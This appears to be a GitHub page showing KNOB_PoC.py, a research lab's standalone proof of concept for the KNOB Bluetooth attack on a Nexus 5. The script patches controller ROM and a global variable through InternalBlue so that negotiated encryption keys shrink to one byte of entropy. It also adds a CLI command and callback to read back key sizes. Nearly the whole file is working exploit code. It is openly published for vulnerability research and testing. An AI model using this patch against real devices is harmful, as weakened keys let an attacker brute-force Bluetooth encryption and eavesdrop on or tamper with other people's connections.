-
Notifications
You must be signed in to change notification settings - Fork 2
/
KNOB_PoC.py
executable file
·97 lines (70 loc) · 3.4 KB
/
KNOB_PoC.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
import argparse
from argparse import Namespace
import cmd2
from cmd2 import CommandSet
from internalblue import Address
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
from internalblue.utils.packing import p16, u16
from internalblue.cli import auto_int
from internalblue.cli import InternalBlueCLI
from pwnlib.asm import asm
"""
This is a standalone PoC for the KNOB attack on a Nexus 5.
Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob
This PoC is much shorter since it only modifies global variables for key entropy.
"""
internalblue = ADBCore(serial=False) # without custom bluetooth.default.so, change to True
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
internalblue.logger.critical("No connection to target device.")
exit(-1)
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy
internalblue.patchRom(Address(0x5AED0), patch)
# modify global variable for own setting
internalblue.writeMem(0x203797, b'\x01') # global key entropy
internalblue.logger.info("-----------------------KNOB-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
"On Android, this requires a modified bluetooth.default.so.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
class KnobCommands(CommandSet):
knob_parser = argparse.ArgumentParser()
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
@cmd2.with_argparser(knob_parser)
def do_knob(self, args):
"""Introduce a new CLI command to make KNOB debugging easier..."""
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return None
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
internalblue.logger.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
sys.exit(cli.cmdloop())